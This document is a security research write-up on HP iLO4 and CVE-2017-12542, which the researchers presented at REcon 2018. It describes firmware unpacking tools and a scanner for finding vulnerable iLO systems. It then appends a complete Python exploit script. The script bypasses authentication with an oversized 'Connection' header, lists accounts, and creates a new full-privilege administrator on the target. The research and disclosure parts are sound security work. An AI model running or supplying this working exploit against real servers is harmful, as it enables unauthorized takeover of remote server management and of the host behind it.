iLO
is the server management solution embedded in almost every HP
servers for more than 10 years. It provides every feature required by a system administrator to remotely manage a server without having to reach it
physically. Such features include power management, remote system console, remote CD/DVD image mounting, as well as many monitoring indicators.
We’ve performed a deep dive security study of HP iLO4
(known to be used on the family of servers HP ProLiant Gen8
and ProLiant Gen9
servers) and the results of this study were presented at the REcon conference held in Brussels (February 2 - 4, 2018, see [1]_).
iLO4
runs on a dedicated ARM
processor embedded in the server, and is totally independent from the main processor. It has a dedicated flash chip to hold its firmware, a dedicated RAM chip and a dedicated network
interface. On the software side, the operating system is the proprietary RTOS GreenHills Integrity [2].
One critical vulnerability was identified and reported to the HP PSIRT
in February 2017, known as CVE-2017-12542
(CVSSv3
9.8 [3]_) :
iLO4
versions 2.53
(released in May 2017, buggy) and 2.54
[4]_The slides from our REcon talk are available here. They cover the following points:
Firmware unpacking and memory space understanding
GreenHills OS Integrity internals:
Review of exposed attack surface: www
, ssh
, etc.
Vulnerability discovery and exploitation
Demonstration of a new exploitation technique that allows to compromise the host server operating system through DMA.
To illustrate them, we also release the three demos as videos. The first one demonstrates the use of the vulnerability we discovered to bypass the authentication from the RedFish API:
In the second one we show how the vulnerability can also be turned into an arbitrary remote code execution (RCE
) in the process of the web server; allowing read access to the iLO
file-system for example.
Finally, in the third videos, we leverage this RCE
to exploit an iLO4
feature which allows us to access (RW
) to the host memory and inject a payload in the host Linux kernel.
To support our research we’ve developed scripts and tools to help us automatize some tasks, especially firmware unpacking and mapping.
Firmware
ilo4_extract.py
script takes an HP Signed file
as input (obtained from the update package). It is invoked with:
>python ilo4_extract.py ilo4_244.bin extract
Extract from the output log:
[+] iLO Header 0: iLO4 v 2.44.7 19-Jul-2016
> magic : iLO4
> build_version : v 2.44.7 19-Jul-2016
> type : 0x08
> compression_type : 0x1000
> field_24 : 0xaf8
> field_28 : 0x105f57
> decompressed_size : 0x16802e0
> raw_size : 0xd0ead3
> load_address : 0xffffffff
> field_38 : 0x0
> field_3C : 0xffffffff
> signature
From the extracted file, ilo0.bin
is the Integrity
applicative image (userland). It contains all the tasks that will run on the iLO
system. To parse each of these tasks and generate the IDA Pro
loading script, one can use the script dissection.rb
.
It relies upon the Metasm
framework [5] and also requires the Bindata
library [6].
>ruby dissection.rb ilo0.bin
Back to the kernel image, ilo4_extract.py
told us that:
[+] iLO Header 1: iLO4 v 0.8.36 16-Nov-2015
> magic : iLO4
> build_version : v 0.8.36 16-Nov-2015
> type : 0x02
> compression_type : 0x1000
> field_24 : 0x9fd
> field_28 : 0x100344
> decompressed_size : 0xc0438
> raw_size : 0x75dad
> load_address : 0x20001000
> field_38 : 0x0
> field_3C : 0xffffffff
Using IDA Pro
to load the extracted file ilo1.bin
at 0x20001000
as ARM
code, one can also study the Integrity
kernel.
secinfo4.py
parses the section information embedded into the kernel image and creates the appropriate memory segment in the disassemblerparse_mr.py
dumps the registered Memory Region
objectsiLO5
format differs slightly, however the same dissection.rb
script can be used to extract the Integrity
applicative image.
Network
Finally, to help people scan for existing vulnerable iLO
systems exposed in their own infrastructures, we release a simple Go
scanner. It attempts to fetch a special iLO
page: /xmldata?item=ALL
; if it exists, then it extracts the firmware version and HP server type.
First edit the “targets
” variable in the code and specify the internal IP
ranges you want to scan.
var (
targets = []string{
"10.0.0.0/8",
"192.168.66.0/23",
"172.16.133.0/24"}
)
Then compile the code for your OS/architecture.
> env GOOS=target-OS GOARCH=target-architecture go build iloscan.go
For example:
> env GOOS=openbsd GOARCH=amd64 go build iloscan.go
> ./iloscan
Then look the result in /tmp/iloscan.log
(can be changed in the source):
> less /tmp/iloscan.log
192.168.66.69{{ RIMP} [{{ HSI} ProLiant DL380 G7}] [{{ MP} 1.80 ILOCZ2069K2S4 ILO583970CZ2069K2S4}]}
fabien [dot] perigaud [at] synacktiv [dot] com
- @0xf4b
alexandre [dot] gazet [at] airbus [dot] com
snorky [at] insomnihack [dot] net
- @\_Sn0rkY
The scripts and scanner are released under the [GPLv2].
#!/usr/bin/env python
"""
Exploit trigger was presented @reconbrx 2018
Vulnerability found and documented by synacktiv:
https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html
Original advisory from HP:
https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
Other advisories for this CVE:
https://tools.cisco.com/security/center/viewAlert.x?alertId=54930
https://securitytracker.com/id/1039222
IMPORTANT:
THIS EXPLOIT IS JUST FOR ONE OUT OF THE THREE VULNERABILITES COVERED BY CVE-2017-12542!!!
The two other vulns are critical as well, but only triggerable on the host itself.
"""
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import json
import urllib3
#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
exploit_trigger = {'Connection' : 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'
def test(ip):
url = accounts_url % ip
try:
response = requests.get(url, headers = exploit_trigger, verify = False)
except Exception as e:
return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))
try:
data = json.loads(response.text)
except Exception as e:
return False, 'Target response not as exected!, Exception data: %s' % (str(e),)
return True, data
def exploit(ip, username, password):
Oem = {
'Hp' : {
'LoginName' : username,
'Privileges': {
'LoginPriv' : True,
'RemoteConsolePriv': True,
'UserConfigPriv' : True,
'VirtualMediaPriv': True,
'iLOConfigPriv':True,
'VirtualPowerAndResetPriv':True,
}
}
}
body = {
'UserName':username,
'Password':password,
'Oem':Oem
}
url = accounts_url % ip
try:
response = requests.post(url, json=body, headers = exploit_trigger, verify = False)
except Exception as e:
return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))
if response.status_code in [requests.codes.ok, requests.codes.created]:
return True, response.text
else:
return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)
if __name__ == '__main__':
import argparse
import sys
parser = argparse.ArgumentParser(description='CVE-2017-12542 Tester and Exploiter script.')
parser.add_argument('ip', help='target IP')
parser.add_argument('-t', action='store_true', default=True, help='Test. Trigger the exploit and list all users')
parser.add_argument('-e', action='store_true', default=False, help='Exploit. Create a new admin user with the credentials specified in -u and -p')
parser.add_argument('-u', help='username of the new admin user')
parser.add_argument('-p', help='password of the new admin user')
args = parser.parse_args()
if args.e:
if args.u is None or args.p is None:
print('Username and password must be set for exploiting!')
sys.exit()
res, data = exploit(args.ip, args.u, args.p)
if res:
print('[+] Sucsessfully added user!')
else:
print('[-] Error! %s' % data)
elif args.t:
res, data = test(args.ip)
if res:
print('[+] Target is VULNERABLE!')
for i in data['Items']:
print('[+] Account name: %s Username: %s' % (i['Name'], i['Oem']['Hp']['LoginName']))
else:
print('[-] Error! %s' % data)